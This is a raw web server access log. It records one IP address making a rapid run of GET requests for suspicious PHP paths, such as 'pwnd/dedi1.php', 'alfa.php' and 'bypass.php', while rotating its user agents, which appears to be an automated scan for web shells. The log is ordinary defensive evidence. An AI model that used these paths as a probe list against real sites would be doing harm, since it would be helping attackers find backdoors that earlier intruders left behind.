45.137.126.96 - - [05/Feb/2026:07:05:56 +0300] "GET /wp-includes/sitemaps/providers/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:56 +0300] "GET /ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:56 +0300] "GET /wp-includes/rest-api/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:57 +0300] "GET /wp-includes/fonts/class_api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:05:57 +0300] "GET /shop.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:57 +0300] "GET /wp-content/plugins/pwnd-1/dedi1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.137.126.96 - - [05/Feb/2026:07:05:58 +0300] "GET /wp-admin/js/widgets/setting.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:05:58 +0300] "GET /wp-includes/images/smilies/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:05:59 +0300] "GET /wp-admin/css/colors/light/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:05:59 +0300] "GET /wp-admin/user/header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:06:00 +0300] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:00 +0300] "GET /wp-api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:01 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:01 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:02 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:06:02 +0300] "GET /wp-includes/class-wp-customize-manager-interpreter.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:03 +0300] "GET /wp-includes/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:06:03 +0300] "GET /images/fm.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:06:03 +0300] "GET /wp-includes/count.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:04 +0300] "GET /wp-error_log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:04 +0300] "GET /assets/class_update_plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:04 +0300] "GET /wp-admin/network/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:05 +0300] "GET /templates/beez5/error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:06:05 +0300] "GET /wp-admin/network/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.137.126.96 - - [05/Feb/2026:07:06:05 +0300] "GET /js/firewall.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:06:06 +0300] "GET /wp-includes/certificates/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:06:06 +0300] "GET /assets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.137.126.96 - - [05/Feb/2026:07:06:07 +0300] "GET /wp-admin/js/file/incpb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:07 +0300] "GET /images/stories/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:08 +0300] "GET /wp-includes/theme-compat/footer-embed-function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:06:08 +0300] "GET /wp-includes/firewall.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.137.126.96 - - [05/Feb/2026:07:06:09 +0300] "GET /home/O-Simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:06:09 +0300] "GET /wp-includes/l10n/class-wp-translation-file-mo-event.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:09 +0300] "GET /wp-includes/vars-soap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.137.126.96 - - [05/Feb/2026:07:06:10 +0300] "GET /wp-content/themes/twentytwentytwo/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:06:10 +0300] "GET /style.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:10 +0300] "GET /files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:11 +0300] "GET /wp-content/themes/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.137.126.96 - - [05/Feb/2026:07:06:11 +0300] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:06:12 +0300] "GET /saka.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:12 +0300] "GET /wp-includes/id3/wp-work.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:12 +0300] "GET /wp-content/plugins/WordPressCore/gecko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:13 +0300] "GET /baxa1.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:13 +0300] "GET /wp-includes/class-wp-taxonomy.editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:13 +0300] "GET /wp-content/plugins/pwnd/dedi1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:14 +0300] "GET /wp-includes/js/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:06:14 +0300] "GET /blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:06:14 +0300] "GET /about/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:06:15 +0300] "GET /wp-content/themes/pridmag/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:15 +0300] "GET /wp-admin/network/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:16 +0300] "GET /images/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:06:16 +0300] "GET /wp-includes/interactivity-api/interactivity-api-xml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:16 +0300] "GET /js/mrx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:17 +0300] "GET /wp-includes/colour.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:06:17 +0300] "GET /elp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:06:17 +0300] "GET /wp-includes/customize/class-wp-customize-background-position-control-variable.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:06:18 +0300] "GET /wp-includes/images/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.137.126.96 - - [05/Feb/2026:07:06:18 +0300] "GET /wp-content/themes/av.php.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:18 +0300] "GET /wp-content/plugins/pwnd-1/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:19 +0300] "GET /wp-includes/js/imgareaselect/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:19 +0300] "GET /upload/bilder/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.137.126.96 - - [05/Feb/2026:07:06:19 +0300] "GET /fonts/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:20 +0300] "GET /wp-admin/css/colors/blue/pass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.137.126.96 - - [05/Feb/2026:07:06:20 +0300] "GET /entrepreneuse.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:06:21 +0300] "GET /wp-includes/l10n/class-wp-translations-interface.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.137.126.96 - - [05/Feb/2026:07:06:21 +0300] "GET /wp-includes/assets/about5.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:21 +0300] "GET /wp-admin/maint/lint-branch.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:22 +0300] "GET /wp-content/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:06:22 +0300] "GET /js/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.137.126.96 - - [05/Feb/2026:07:06:22 +0300] "GET /.well-known/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:23 +0300] "GET /index/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:23 +0300] "GET /wp-includes/ID3/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.137.126.96 - - [05/Feb/2026:07:06:23 +0300] "GET /function/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:24 +0300] "GET /wp-content/themes/tflow/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:24 +0300] "GET /wp-includes/js/dist/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:24 +0300] "GET /testt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.137.126.96 - - [05/Feb/2026:07:06:25 +0300] "GET /wp-content/uploads/goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.137.126.96 - - [05/Feb/2026:07:06:25 +0300] "GET /wp-admin/js/sad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:06:26 +0300] "GET /wp-includes/sitemaps/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:26 +0300] "GET /wp-includes/assets/wp-includes/assets/script-loader-packages.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.137.126.96 - - [05/Feb/2026:07:06:26 +0300] "GET /web/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:27 +0300] "GET /wp-includes/SimplePie/login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:06:27 +0300] "GET /network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:27 +0300] "GET /wp-admin/css/colors/blue/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:28 +0300] "GET /wp-includes/sitemaps/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:28 +0300] "GET /wikindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:28 +0300] "GET /wp-content/plugins/seoo/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.137.126.96 - - [05/Feb/2026:07:06:29 +0300] "GET /wp-includes/SimplePie/Cache/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:29 +0300] "GET /wp-includes/css/dist/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.137.126.96 - - [05/Feb/2026:07:06:29 +0300] "GET /wp-content/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.137.126.96 - - [05/Feb/2026:07:06:30 +0300] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.137.126.96 - - [05/Feb/2026:07:06:30 +0300] "GET /wp-includes/js/simi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:06:30 +0300] "GET /wp-admin/images/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:31 +0300] "GET /wp-admin/css/colors/gold.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:31 +0300] "GET /wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.137.126.96 - - [05/Feb/2026:07:06:31 +0300] "GET /wp-content/mu-plugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.96 - - [05/Feb/2026:07:06:32 +0300] "GET /wp-includes/sitemaps/abcd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:32 +0300] "GET /wp-includes/ID3/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:06:32 +0300] "GET /wp-includes/widgets/class-wp-widget-search-interpreter.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.96 - - [05/Feb/2026:07:06:33 +0300] "GET /wp-admin/css/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:33 +0300] "GET /bitrix/admin/htmleditor2/natural.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:34 +0300] "GET /wp-content/plugins/pwnd/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.137.126.96 - - [05/Feb/2026:07:06:34 +0300] "GET /wp-includes/block-template-utils-other.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.137.126.96 - - [05/Feb/2026:07:06:34 +0300] "GET /wp-content/alam.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:06:34 +0300] "GET /css/adminfusm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:35 +0300] "GET /wp-includes/sodium_compat/lib/widget-group.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.137.126.96 - - [05/Feb/2026:07:06:36 +0300] "GET /wp-content/raw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.137.126.96 - - [05/Feb/2026:07:06:36 +0300] "GET /wp-includes/js/jcrop/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:36 +0300] "GET /wp-admin/includes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.137.126.96 - - [05/Feb/2026:07:06:37 +0300] "GET /wp-includes/customize/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:37 +0300] "GET /wp-content/uploads/2021/wp-works.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:37 +0300] "GET /wp-admin/media-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:06:38 +0300] "GET /media-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.137.126.96 - - 